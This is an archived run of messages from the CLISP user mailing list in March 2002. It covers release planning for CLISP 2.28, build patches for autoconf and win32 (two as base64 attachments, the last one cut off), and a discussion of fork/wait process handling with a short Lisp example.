X-Original-Date: Fri, 1 Mar 2002 16:18:57 +1000 Hello, Sam, Friday, March 01, 2002, 2:49:20 PM, you wrote: Sam> Arseny, are you doing Russian? There is about 1/3 left (2/3 done). If translation detains the release, I'll speed translation up. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From peter.wood@worldonline.dk Thu Feb 28 23:21:50 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ghMS-0005aD-00 for ; Thu, 28 Feb 2002 23:21:49 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 74C52B6AE for ; Fri, 1 Mar 2002 08:21:45 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g2172vn00221; Fri, 1 Mar 2002 08:02:57 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Relatively new to Clisp Message-ID: <20020301080257.A204@localhost.localdomain> References: <1014854608.32240.95.camel@zeus> <20020228084617.A134@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Thu, Feb 28, 2002 at 01:58:39PM -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 28 23:22:05 2002 X-Original-Date: Fri, 1 Mar 2002 08:02:57 +0100 On Thu, Feb 28, 2002 at 01:58:39PM -0500, Sam Steingold wrote: > > * In message <20020228084617.A134@localhost.localdomain> > > * On the subject of "Re: [clisp-list] Relatively new to Clisp" > > * Sent on Thu, 28 Feb 2002 08:46:17 +0100 > > * Honorable Peter Wood writes: > > > > For some reason, wait() and waitpid() are not included in linux.lisp. > > try the appended patch (with the CVS CLISP) and see wrap.lisp for usage > of the :out args. > if it does what you want, I will commit the patch. > Hi, Thanks. > > Clisp has pipes, but they use the shell (I think). > > shell is cheap (100k /bin/ash). > i/o redirection is not quite trivial. > I do not want to re-implement BASH in the CLISP's C substrate. > I understand that. Regards, Peter From samuel.steingold@verizon.net Fri Mar 01 08:09:54 2002 Received: from out012pub.verizon.net ([206.46.170.137] helo=out012.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16gpbV-00044m-00 for ; Fri, 01 Mar 2002 08:09:53 -0800 Received: from gnu.org ([151.203.224.254]) by out012.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020301160946.QJZQ26730.out012.verizon.net@gnu.org>; Fri, 1 Mar 2002 10:09:46 -0600 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Relatively new to Clisp References: <1014854608.32240.95.camel@zeus> <20020228084617.A134@localhost.localdomain> <20020301080257.A204@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020301080257.A204@localhost.localdomain> Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 1 08:10:10 2002 X-Original-Date: 01 Mar 2002 11:05:33 -0500 > * In message <20020301080257.A204@localhost.localdomain> > * On the subject of "Re: [clisp-list] Relatively new to Clisp" > * Sent on Fri, 1 Mar 2002 08:02:57 +0100 > * Honorable Peter Wood writes: > > On Thu, Feb 28, 2002 at 01:58:39PM -0500, Sam Steingold wrote: > > try the appended patch (with the CVS CLISP) and see wrap.lisp for usage > > of the :out args. > > if it does what you want, I will commit the patch. > > Thanks. do you mean that the patch works? > > > Clisp has pipes, but they use the shell (I think). > > > > shell is cheap (100k /bin/ash). > > i/o redirection is not quite trivial. > > I do not want to re-implement BASH in the CLISP's C substrate. > > I understand that. BTW, how is "&" implemented in a shell? when I do vfork/exec/wait, I am blocked till the sub-process is done. do I just drop wait(2)? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! My inferiority complex is not as good as yours. From rrschulz@cris.com Fri Mar 01 08:26:07 2002 Received: from uhura.concentric.net ([206.173.118.93]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16gprC-00019I-00 for ; Fri, 01 Mar 2002 08:26:06 -0800 Received: from cliff.concentric.net (cliff.concentric.net [206.173.118.90]) by uhura.concentric.net [Concentric SMTP Routing 1.0] id g21GQ4B11737 ; Fri, 1 Mar 2002 11:26:04 -0500 (EST) Received: from Clemens.cris.com (da003d0466.sjc-ca.osd.concentric.net [64.1.1.211]) by cliff.concentric.net (8.9.1a) id LAA00565; Fri, 1 Mar 2002 11:26:02 -0500 (EST) Message-Id: <5.1.0.14.2.20020301081917.0247aeb8@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: sds@gnu.org, Peter Wood From: Randall R Schulz Subject: Re: [clisp-list] Relatively new to Clisp Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: <20020301080257.A204@localhost.localdomain> <1014854608.32240.95.camel@zeus> <20020228084617.A134@localhost.localdomain> <20020301080257.A204@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 1 08:27:15 2002 X-Original-Date: Fri, 01 Mar 2002 08:26:22 -0800 Sam, At its essence, the shells' detachment operator ('&') does indeed amount to just deferring the wait(2) call. However, that call cannot be omitted entirely. Processes are not fully gone until they've been wait()-ed for. If their immediate parent exits without wait()-ing, then the system's "init" process (process ID 1) inherits and cleans up after these processes. If your process is long-running, then you must enable (catch) the SIGCLD signal so you know when a child process's state changes. Unless you're using the kernel debugging interfaces, "state change" just means process termination. When you get a SIGCLD you then issue the wait call, which is guaranteed in that circumstance not to block (assuming the SIGCLD is not fictitious). With the return value from wait(2) (which includes the process ID and information about how it terminated) you can do what ever internal bookkeeping is necessary to clean up after and report the termination of the sub-process. Randall Schulz Mountain View, CA USA At 08:05 2002-03-01, Sam Steingold wrote: >... > >BTW, how is "&" implemented in a shell? when I do vfork/exec/wait, I am >blocked till the sub-process is done. do I just drop wait(2)? > >-- >Sam Steingold (http://www.podval.org/~sds) From samuel.steingold@verizon.net Fri Mar 01 18:38:12 2002 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16gzPX-0006bO-00 for ; Fri, 01 Mar 2002 18:38:11 -0800 Received: from gnu.org ([151.203.224.254]) by out006.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020302023733.ZARM18285.out006.verizon.net@gnu.org>; Fri, 1 Mar 2002 20:37:33 -0600 To: Todd Sabin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] REINITIALIZE-INSTANCE problems References: <20020221174011.A1290@apal.ii.uib.no> <20020223190952.A1918@apal.ii.uib.no> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 1 18:39:02 2002 X-Original-Date: 01 Mar 2002 21:33:55 -0500 > * In message > * On the subject of "Re: [clisp-list] REINITIALIZE-INSTANCE problems" > * Sent on 28 Feb 2002 18:00:15 -0500 > * Honorable Todd Sabin writes: > > Are there things that you feel need to be done before the next > release? I want the release out by Monday. I tested it on Linux and FreeBSD. There will be _NO_ release until I get confirmation from the users that the current CVS CLISP compiles out of the box on at least win32 and Solaris. The translations can wait for the next release, but if I receive no build reports from Solaris and win32 people in the near future, I cannot make a release, thus the translations will get in &c. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Life is like a diaper -- short and loaded. From samuel.steingold@verizon.net Fri Mar 01 18:41:26 2002 Received: from out011pub.verizon.net ([206.46.170.135] helo=out011.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16gzSd-000822-00 for ; Fri, 01 Mar 2002 18:41:23 -0800 Received: from gnu.org ([151.203.224.254]) by out011.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020302024116.LNZZ9330.out011.verizon.net@gnu.org>; Fri, 1 Mar 2002 20:41:16 -0600 To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[2]: [clisp-list] next release References: <20020221174011.A1290@apal.ii.uib.no> <20020223190952.A1918@apal.ii.uib.no> <19224769176.20020301161857@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <19224769176.20020301161857@ich.dvo.ru> Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 1 18:42:16 2002 X-Original-Date: 01 Mar 2002 21:37:02 -0500 > * In message <19224769176.20020301161857@ich.dvo.ru> > * On the subject of "Re[2]: [clisp-list] next release" > * Sent on Fri, 1 Mar 2002 16:18:57 +1000 > * Honorable Arseny Slobodjuck writes: > > Friday, March 01, 2002, 2:49:20 PM, you wrote: > > Sam> Arseny, are you doing Russian? > There is about 1/3 left (2/3 done). If translation detains the > release, I'll speed translation up. Arseny, I don't think you will finish it by 2.28. testing on win32 has much higher priority right now. Can you do it? (I do not have access to a woe32 machine) you need to build, do a 'make check', and try install.bat thanks. Russian translations will be added in 2.29. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Don't ascribe to malice what can be adequately explained by stupidity. From tsabin@optonline.net Fri Mar 01 21:38:08 2002 Received: from ool-435185-147.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16h2Df-0003hl-00 for ; Fri, 01 Mar 2002 21:38:07 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id AAA25724; Sat, 2 Mar 2002 00:37:59 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] REINITIALIZE-INSTANCE problems References: <20020221174011.A1290@apal.ii.uib.no> <20020223190952.A1918@apal.ii.uib.no> From: Todd Sabin In-Reply-To: (Sam Steingold's message of "Fri, 01 Mar 2002 21:33:55 -0500") Message-ID: Lines: 84 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 1 21:39:08 2002 X-Original-Date: 02 Mar 2002 00:37:59 -0500 Sam Steingold writes: > > Are there things that you feel need to be done before the next > > release? > > I want the release out by Monday. > > I tested it on Linux and FreeBSD. Current CVS is failing for me on Redhat62, due to an ICONV_CONST mismatch. I think I've figured out the problem. unixconf.h.in has a line: #define ICONV_CONST but the autoconf sed stuff can't change it because there's no symbol it's defined to, which causes the sed expressions autoconf uses not to work. Apparently, the way to address that is by changing it thusly: diff -u -r1.30 unixconf.h.in --- src/unixconf.h.in 25 Dec 2001 17:48:28 -0000 1.30 +++ src/unixconf.h.in 2 Mar 2002 04:56:38 -0000 @@ -653,7 +653,7 @@ iconv_open, iconv, iconv_close functions. */ #undef HAVE_ICONV /* Define as const if the declaration of iconv() needs const. */ -#define ICONV_CONST +#undef ICONV_CONST /* OS services */ which matches the way all the other *_CONST stuff in there is done. And it does fix the build on Redhat 6.2. Redhat 7.2 also still works (and does without the patch). Unfortunately, with the patch the build doesn't work on FreeBSD 4.5 (I haven't tried 4.5 without the patch). The problem in that case is that it doesn't have ICONV at all, so no line is added to confdefs.h one way or the other about ICONV_CONST, which leaves the undef as is. So the compiler complains about ICONV_CONST being unrecognized. A possible way around _that_ is this: diff -u -r1.30 unixconf.h.in --- src/unixconf.h.in 25 Dec 2001 17:48:28 -0000 1.30 +++ src/unixconf.h.in 2 Mar 2002 05:18:32 -0000 @@ -653,8 +653,11 @@ iconv_open, iconv, iconv_close functions. */ #undef HAVE_ICONV /* Define as const if the declaration of iconv() needs const. */ -#define ICONV_CONST +#undef ICONV_CONST +#ifndef ICONV_CONST +#define ICONV_CONST +#endif /* OS services */ which makes sure that ICONV_CONST is defined as nothing, if not defined yet. Probably the right way is to use just the first patch, but also fix the code in configure to put a line in confdefs.h even if iconv isn't present, but it seems that configure itself is auto-generated somehow. I really have no idea how this autoconf stuff is supposed to work, in case you couldn't tell... :) Hopefully, someone else does... Anyway, with this second patch, Redhat 6.2 and 7.2 build for me fine. FreeBSD 4.5 manages to build the clisp binaries, but chokes on the Makefile in the suite directory, saying: LISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -Efile UTF-8 -norc"; export LISP; cd suite; make LISP="$LISP" "Makefile", line 2: Missing dependency operator "Makefile", line 5: Need an operator "Makefile", line 8: Need an operator make: fatal errors encountered -- cannot continue *** Error code 1 > There will be _NO_ release until I get confirmation from the users that > the current CVS CLISP compiles out of the box on at least win32 and > Solaris. I'll try the windows build tomorrow. Don't have any Solaris... Todd From peter.wood@worldonline.dk Fri Mar 01 23:50:17 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16h4HY-0006F0-00 for ; Fri, 01 Mar 2002 23:50:16 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id A2877B528 for ; Sat, 2 Mar 2002 08:50:12 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g227ZwF04705; Sat, 2 Mar 2002 08:35:58 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Relatively new to Clisp Message-ID: <20020302083558.A4692@localhost.localdomain> References: <1014854608.32240.95.camel@zeus> <20020228084617.A134@localhost.localdomain> <20020301080257.A204@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Fri, Mar 01, 2002 at 11:05:33AM -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 1 23:51:02 2002 X-Original-Date: Sat, 2 Mar 2002 08:35:58 +0100 On Fri, Mar 01, 2002 at 11:05:33AM -0500, Sam Steingold wrote: > > * Honorable Peter Wood writes: > > > > On Thu, Feb 28, 2002 at 01:58:39PM -0500, Sam Steingold wrote: > > > try the appended patch (with the CVS CLISP) and see wrap.lisp for usage > > > of the :out args. > > > if it does what you want, I will commit the patch. > > > > Thanks. > > do you mean that the patch works? I have now tested it as far as possible, and I think it works fine. My understanding is there is a whole bunch of __W* macros in bits/waitstatus.h and W* macros in sys/wait.h which are needed for accessing the status value, so I have not been able to check that part of it yet. That is, I can't get information about the child's exist status. Thanks again. Peter ps. I will have a go at doing ffi definitions for the W* macros, but it won't be soon. From ampy@ich.dvo.ru Sat Mar 02 03:13:45 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16h7SN-0000HV-00 for ; Sat, 02 Mar 2002 03:13:40 -0800 Received: from ppp33-AS-1.vtc.ru (ppp33-AS-1.vtc.ru [212.16.216.33]) by vtc.ru (8.12.2.Beta3/8.12.2.Beta3) with ESMTP id g22BCvwb005562; Sat, 2 Mar 2002 21:13:05 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <14411545751.20020302211317@ich.dvo.ru> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re[4]: [clisp-list] next release In-reply-To: References: <20020221174011.A1290@apal.ii.uib.no> <20020223190952.A1918@apal.ii.uib.no> <19224769176.20020301161857@ich.dvo.ru> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="----------F2DD992C0722A7" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 2 03:14:14 2002 X-Original-Date: Sat, 2 Mar 2002 21:13:17 +1000 ------------F2DD992C0722A7 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello Sam, Saturday, March 02, 2002, 12:37:02 PM, you wrote: Sam> Arseny, I don't think you will finish it by 2.28. Sam> testing on win32 has much higher priority right now. Sam> Can you do it? (I do not have access to a woe32 machine) Sam> you need to build, do a 'make check', and try install.bat Sam> thanks. It compiles fine except file spvw_language.d which needs declaration of uint. It seems to be declared in intparam.d -> intparam.h, which is not available in win32 (I think). So I suggest change uint to uintL - see patch. Install.bat and generated clisp.bat works fine. Tests are passed. Make check ok. CLHS doesn't work: [1]> (clhs 'car) *** - There is no package with name "NIL" 1. Break [2]> abort *** - There is no package with name "NIL" 1. Break [3]> abort Note: I tried to abort twice ! Maybe that will help [3]> (load "clhs.lisp") ;; Loading file clhs.lisp ... ;; Loading of file clhs.lisp is finished. T [5]> (clhs 'car) *** - There is no package with name "NIL" 1. Break [6]> up EVAL frame for form (PROGN (SYSTEM::%SET-PACKAGE-LOCK #:WOPL-1231 NIL) (SETQ SYSTEM::*CLHS-TABLE* (READ-FROM-FILE (SYSTEM::CLISP-DATA-FILE "clhs.txt") :OUT SYSTEM::OUT :PACKAGE "COMMON-LISP"))) (describe (code-char 1234)) works. I cannot makemake nor make distrib since I only have small subset of cygwin which moreover I didn't used much. I'll try to download and use it. Or I'll try to do distrib in FreeBSD (mount the FAT drive and make distrib with win32 makefile - is it valid approach ?). -- Best regards, Arseny mailto:ampy@ich.dvo.ru ------------F2DD992C0722A7 Content-Type: application/octet-stream; name="spvw_language.diff" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="spvw_language.diff" SW5kZXg6IHNwdndfbGFuZ3VhZ2UuZA0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KUkNTIGZpbGU6IC9jdnNyb290L2Ns aXNwL2NsaXNwL3NyYy9zcHZ3X2xhbmd1YWdlLmQsdg0KcmV0cmlldmluZyByZXZpc2lvbiAxLjE4 DQpkaWZmIC11IC1yMS4xOCBzcHZ3X2xhbmd1YWdlLmQNCi0tLSBzcHZ3X2xhbmd1YWdlLmQJMjYg RmViIDIwMDIgMTQ6MTg6MTQgLTAwMDAJMS4xOA0KKysrIHNwdndfbGFuZ3VhZ2UuZAkyIE1hciAy MDAyIDA5OjQ4OjI3IC0wMDAwDQpAQCAtNDIsNyArNDIsNyBAQA0KICAgI2RlZmluZSBsYW5ndWFn ZV9kdXRjaCAgICAgNA0KICNlbmRpZg0KIA0KLWxvY2FsIG9iamVjdCBjdXJyZW50X2xhbmd1YWdl X28gKHVpbnQgbGFuZykgew0KK2xvY2FsIG9iamVjdCBjdXJyZW50X2xhbmd1YWdlX28gKHVpbnRM IGxhbmcpIHsNCiAgIHN3aXRjaCAobGFuZykgew0KICAgICBjYXNlIGxhbmd1YWdlX2VuZ2xpc2g6 IHJldHVybiBTKGVuZ2xpc2gpOw0KICAgICNpZmRlZiBHTlVfR0VUVEVYVA0K ------------F2DD992C0722A7-- From peter.wood@worldonline.dk Sat Mar 02 04:43:30 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16h8rI-0003ns-00 for ; Sat, 02 Mar 2002 04:43:28 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id C1080B68E for ; Sat, 2 Mar 2002 13:43:25 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g22CSj903056; Sat, 2 Mar 2002 13:28:45 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Relatively new to Clisp Message-ID: <20020302132845.A2993@localhost.localdomain> References: <1014854608.32240.95.camel@zeus> <20020228084617.A134@localhost.localdomain> <20020301080257.A204@localhost.localdomain> <20020302083558.A4692@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020302083558.A4692@localhost.localdomain>; from peter.wood@worldonline.dk on Sat, Mar 02, 2002 at 08:35:58AM +0100 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 2 04:44:21 2002 X-Original-Date: Sat, 2 Mar 2002 13:28:45 +0100 On Sat, Mar 02, 2002 at 08:35:58AM +0100, Peter Wood wrote: > On Fri, Mar 01, 2002 at 11:05:33AM -0500, Sam Steingold wrote: > > > > * Honorable Peter Wood writes: > > > > > > On Thu, Feb 28, 2002 at 01:58:39PM -0500, Sam Steingold wrote: > > > > try the appended patch (with the CVS CLISP) and see wrap.lisp for usage > > > > of the :out args. > > > > if it does what you want, I will commit the patch. > > > > > > Thanks. > > > > do you mean that the patch works? > > I have now tested it as far as possible, and I think it works fine. > My understanding is there is a whole bunch of __W* macros in > bits/waitstatus.h and W* macros in sys/wait.h which are needed for > accessing the status value, so I have not been able to check that part > of it yet. That is, I can't get information about the child's exist > status. > > Thanks again. > > Peter > > ps. I will have a go at doing ffi definitions for the W* macros, but > it won't be soon. > Hi, There is not actually much to the W* macros. So I'm not sure its worth adding them to linux.lisp. This works very nicely: (defun test-wait2 () (let ((pid (linux:fork))) (cond ((= pid -1) (error "fork failed")) ((/= pid 0) (multiple-value-bind (childpid status) (linux:wait) (progn (format t "Child pid=~a has finished~%" childpid) (if (zerop (logand status #x7f)) (format t "...with exit code=~a~%" (ash (logand status #xff00) -8)) (format t "Child bombed~%"))))) (t (progn (format t "~&Hello, Pop~%") (linux:exit 37)))))) [1](test-wait2) Hello, pop Child pid=3048 has finished ...with exit code=37 NIL [2] Regards, Peter From dodi_froti@hotmail.com Sat Mar 02 07:22:54 2002 Received: from f48.law14.hotmail.com ([64.4.21.48] helo=hotmail.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hBLU-00026Z-00 for ; Sat, 02 Mar 2002 07:22:48 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sat, 2 Mar 2002 07:22:37 -0800 Received: from 62.3.20.3 by lw14fd.law14.hotmail.msn.com with HTTP; Sat, 02 Mar 2002 15:22:36 GMT X-Originating-IP: [62.3.20.3] From: "lovely Kitten" To: clisp-list@lists.sourceforge.net Bcc: Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 02 Mar 2002 15:22:37.0188 (UTC) FILETIME=[15A20C40:01C1C1FE] Subject: [clisp-list] Can I ask??plz Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 2 07:23:15 2002 X-Original-Date: Sat, 02 Mar 2002 15:22:36 +0000 Hi, Can I ask you please?? 1-link for free Clisp download. 2-link for good site about Clisp syntax. 3-Is there a big difference between Lisp and Clisp syntax?? Thank you, Lovely Kitten Sara _________________________________________________________________ MSN Photos is the easiest way to share and print your photos: http://photos.msn.com/support/worldwide.aspx From ampy@ich.dvo.ru Sat Mar 02 07:56:29 2002 Received: from farpost.com ([212.107.195.33]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hBs1-0007Po-00 for ; Sat, 02 Mar 2002 07:56:25 -0800 Received: (qmail 23664 invoked from network); 2 Mar 2002 15:56:13 -0000 Received: from unknown (HELO vladpress.vl.ru) (212.107.205.50) by vladpress.vl.ru with SMTP; 2 Mar 2002 15:56:13 -0000 Received: from 192.168.0.116 [192.168.0.116] by vladpress [127.0.0.1] with SMTP (MDaemon.v2.7.SP4.R) for ; Sun, 03 Mar 2002 01:54:59 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <56483214.20020303015536@ich.dvo.ru> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re[4]: [clisp-list] next release In-reply-To: References: <20020221174011.A1290@apal.ii.uib.no> <20020223190952.A1918@apal.ii.uib.no> <19224769176.20020301161857@ich.dvo.ru> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="----------6CF119F19680A5F" X-MDaemon-Deliver-To: clisp-list@lists.sourceforge.net X-Return-Path: ampy@ich.dvo.ru Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 2 07:57:13 2002 X-Original-Date: Sun, 3 Mar 2002 01:55:36 +1000 ------------6CF119F19680A5F Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello Sam, Saturday, March 02, 2002, 12:37:02 PM, you wrote: Sam> testing on win32 has much higher priority right now. I suggest that patch. The new data : section of makefile was totally unixoid and didn't work in win32. With that patch I was able to make distrib (from FreeBSD) which contained amongst other files data/UnicodeData.txt, data/clhs.txt, emacs/clisp-coding.el, emacs/clisp-indent.el, emacs/clisp-indent.lisp. -- Best regards, Arseny mailto:ampy@ich.dvo.ru ------------6CF119F19680A5F Content-Type: application/octet-stream; name="makemake.diff" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="makemake.diff" SW5kZXg6IG1ha2VtYWtlLmluDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpSQ1MgZmlsZTogL2N2c3Jvb3QvY2xpc3Av Y2xpc3Avc3JjL21ha2VtYWtlLmluLHYNCnJldHJpZXZpbmcgcmV2aXNpb24gMS4yMjUNCmRpZmYg LXUgLXIxLjIyNSBtYWtlbWFrZS5pbg0KLS0tIG1ha2VtYWtlLmluCTI2IEZlYiAyMDAyIDE5OjAw OjI2IC0wMDAwCTEuMjI1DQorKysgbWFrZW1ha2UuaW4JMiBNYXIgMjAwMiAxNTo1MDoyNCAtMDAw MA0KQEAgLTI2NzYsMTEgKzI2NzYsMTYgQEANCiBmaQ0KIA0KIERBVEFfRklMRVM9IlVuaWNvZGVE 